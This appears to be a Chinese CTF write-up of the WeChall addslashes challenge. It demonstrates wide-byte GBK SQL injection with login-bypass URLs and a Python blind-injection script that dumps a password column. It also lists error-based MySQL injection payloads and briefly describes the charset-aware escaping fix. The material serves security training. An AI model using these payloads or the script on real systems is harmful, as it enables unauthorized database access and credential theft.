很早以前就知道wechall这个靶场,可是由于是全英文的不太会玩,到现在又翻出来玩玩.尝试了一下mysql部分的题目,发觉自己也见了不少类型的注入了,像这样没有什么过滤的题目简单套路就能getflag了.

这篇文章主要记录2个题

宽字节注入

报错注入

靶场传送门 http://www.wechall.net/challs/MySQL/by/chall_score/ASC/page-1

具体题目传送门http://www.wechall.net/challenge/addslashes/index.php

用各种姿势做同一题哈哈.

宽字节注入

关于原理性的东西其实我也不太懂,大概就是/加上%df会产生一个奇怪的东西导致单引号逃出了转义

可能是我经验太少,刚看到题目addslashes()函数的时候第一反应是和南邮上的一题相似( 被那题支配的恐惧!没做出来!原理也看不懂!)

原理https://blog.csdn.net/zl20117/article/details/53610975

这个写的还行吧,反正我是不想看了,里面有如何防范宽字节注入.get一下

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function asvsmysql_login($username, $password)
{
$username = addslashes($username);
$password = md5($password);

if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
return htmlDisplayError('Can`t connect to database.');
}

$db->setLogging(false);
$db->setEMailOnError(false);

$query = "SELECT username FROM users WHERE username='$username' AND password='$password'";

if (false === ($result = $db->queryFirst($query))) {
return htmlDisplayError('Wrong username/password.');
}

if ($result['username'] !== 'Admin') {
return htmlDisplayError('You are logged in, but not as Admin.');
}

return htmlDisplayMessage('You are logged in. congrats!');
}
?>

题目给的代码部分注意到GBK 了吗! 去他个DJ 的原理直接%df干它!

1
http://www.wechall.net/challenge/addslashes/index.php?username=Admin%df' or (if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,1,0))%23&password=111&login=注册

但是这个payload 是利用盲注来获取整个数据库的值,慢慢跑吧骚年,脚本附上(做南邮里的题写的)

宽字节的盲注脚本有个不同的地方就在于,当确定表名爆去字段名的时候由于单引号被过滤,所以得换种方式给表名,我是利用16进制.脚本中可以看出差别的,顺带学习一波python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import requests
import re
import binascii
#' and (ascii(substr(database(),1,1)))
#' and length(database())={0} %23
#' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1%23
#' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>100 %23
#' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),5,1))>108%23
#' and length((select column_name from information_schema.columns where table_name=database() limit 0,1))>100 %23

URL="http://120.203.13.75:6815/?id=1"

def getDBName_len():
DB_len=0
#payload="' and length(database())={0} %23"
payload="%df' and length(database())={0} %23"
i=0;
while(1):
url_payload=URL+payload
url = url_payload.format(i)
#print url
response = requests.get(url)
#pattern = re.compile(r'You are in')
pattern = re.compile(r'Hello World!OVO')
match = pattern.search(response.text)
if match:
DB_len=i
print("DBName_length:",i)
getDBName(i)
break
i=i+1

def getDBName(DBName_len):
#payload="'and (ascii(substr(database(),{0},1))) = {1} %23"
payload="%df' and (ascii(substr(database(),{0},1))) = {1} %23"
#payload="%df%27%20and ascii(substr(database(),{0},1))={1}%20%23"
DBName = ""
url_payload=URL+payload
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_'
print("Start to retreve database name...")

for i in range(1,DBName_len+1):
print("Number of letter:",i)
for char in chars:
#print("Test letter"+char)
char_ascii = ord(char)
url = url_payload.format(i,char_ascii)
#print url

response = requests.get(url)
pattern = re.compile(r'Hello World!OVO')
match = pattern.search(response.text)
if match:
DBName += char
print("DBName is:"+DBName+"...")
break
print("over! DBName is:"+DBName)
def getTableName_len():
payload="%df' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))={0} %23"
i=0
url_payload=URL+payload
while(1):
url = url_payload.format(i)
print url;
response = requests.get(url)
pattern = re.compile(r'Hello World!OVO')
match = pattern.search(response.text)
if match:
print("TableName_length:",i)
getTableName(i)
break
i=i+1
def getTableName(TableName_len):
payload="%df' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),{0},1))={1}%23"
Table_name=""
url_payload=URL+payload
chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_'
print("Start to retreve Table name...")
for i in range(1,TableName_len+1):
print("Number of letter:",i)
for char in chars:
char_ascii = ord(char)
url=url_payload.format(i,char_ascii)
print url
response = requests.get(url)
pattern = re.compile(r'Hello World!OVO')
match = pattern.search(response.text)
if match:
Table_name += char
print("TableName is:"+Table_name+"...")
break
print("over! TableName is:"+Table_name)
getColumn_len(Table_name)
def getColumn_len(Table_name):

payload1 = " %df' and length((select column_name from information_schema.columns where table_name=0x"
payload2=binascii.b2a_hex(Table_name.encode('utf-8'))+" limit 1,1))={0} %23"
url_payload = URL+payload1+payload2
i=0
while(1):
url = url_payload.format(i)
print url
response = requests.get(url)
pattern = re.compile(r'Hello World!OVO')
match = pattern.search(response.text)
if match:
print("Column_length",i)
getColumn_Name(Table_name,i)
break
i=i+1
def getColumn_Name(Table_name,column_len):
Column_name=''
payload1 = "%df' and ascii(substr((select column_name from information_schema.columns where table_name=0x"####table change hex
payload2= binascii.b2a_hex(Table_name.encode('utf-8'))+" limit 1,1),{0},1))={1}%23"
chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_'
url_payload=URL+payload1+payload2
print("Start to retreve Column name...")
for i in range(column_len+1):
print("Number of letter:",i)
for char in chars:
char_ascii = ord(char)
url = url_payload.format(i,char_ascii)
response = requests.get(url)
pattern = re.compile(r'Hello World!OVO')
match = pattern.search(response.text)
if match:
Column_name += char
print("ColumnName is:"+ Column_name+"...")
break
print("over! ColumnName is:"+ Column_name)
def DumpData_len(Colum_name,Table_name):
column=Colum_name
table=Table_name
payload=" and length((select "
payload1=column + " from "
payload2=table + " limit 0,1))={0} %23"
url_payload=URL+payload+payload1+payload2
i=0
while(1):
url=url_payload.format(i)
print url
response = requests.get(url)
pattern = re.compile(r'PKD')
match = pattern.search(response.text)
if match:
print("data_len:",i)
DumpData(column,table,i)
break
i=i+1

def DumpData(Colum_name,Table_name,len):
payload=" and ascii(substr((select "
payload1=Colum_name + " from "
payload2=Table_name + " limit 0,1),{0},1))={1}%23"
chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_'
url_payload=URL+payload+payload1+payload2
data=''
print("Start to retreve Column name...")
for i in range(1,len+1):
print("Number of letter:",i)
for char in chars:
char_ascii = ord(char)
url = url_payload.format(i,char_ascii)
response = requests.get(url)
pattern = re.compile(r'PKD')
match = pattern.search(response.text)
if match:
data += char
print("Dara is:"+ data +"...")
break
print("over! Data is:"+ data)
#getDBName_len()
#getTableName_len()
DumpData_len('password','admin')

比较方便的姿势是这种,利用了联合查询的尿性使自己成为管理员登录!

1
http://www.wechall.net/challenge/addslashes/index.php?username=%C0'+union+select+CHAR(65,100,109,105,110)%23&password=111&login=](http://www.wechall.net/challenge/addslashes/index.php?username=%C0'+union+select+CHAR(65,100,109,105,110)%23&password=111&login=%E6%B3%A8%E5%86%8C)[注册](http://www.wechall.net/challenge/addslashes/index.php?username=%C0'+union+select+CHAR(65,100,109,105,110)%23&password=111&login=%E6%B3%A8%E5%86%8C)

这样就能拿到分数了

安全方案

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义 原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢? 就是使用mysql_set_charset进行指定。 上述的两个条件是“与”运算的关系,少一条都不行。

报错注入

报错注入起始就是构造错误的语句,使得报错语句将我们想要的数据回显出来.

那为啥要报错注入呢?

当然是页面没有其他回显,也就是我们查询了 username=’zhhhy’可是呢,页面没有地方显示zhhhy

这时,当我们多输入了一个单引号,mysql发现哇靠多了一个单引号!错啦错啦!于是它返回了一条mysql的报错信息.类似下图

能用来利用的报错的方法

这些payload都是从sqli-labs找的

利用 double 数值类型超出范围进行报错注入

http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,

3–+

利用 double 数值类型超出范围进行报错注入

http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,

3–+

利用 bigint 溢出进行报错注入

http://127.0.0.1/sqllib/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3-

-+

以上三条拿去都失败了,的确报错了,可是并没返回值!

利用数据的重复性

这条..只能报版本信息?不知道啥情况

http://127.0.0.1/sqllib/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),

NAME_CONST(version(),1))x –+

xpath 函数报错注入

这条可以爆出数据

http://127.0.0.1/sqllib/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))

–+

count+floor+rand 三函数报错

名字是我自己取得..

这条语句不想懂,看了好多博客也是朦胧的状态,找个时间亲手试一下.

1
2
3
4
5
6
7
8
' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

使用联合查询需要前后查询的列相同,直接改造后使用发现不能成功,借鉴别人的题解,于是想着利用or来拼接语句
%df' or (select count(*) from information_schema.tables group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) %23)

这条是别人的其他题的题解可以爆出答案,观察payload可以看出,只出现password字段,也就是说,可以不需要表名就注出数据!!
%df' or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select password),floor(rand(0)*2)))#

好了报错注入就标记这么多语句下一次可能要研究一波原理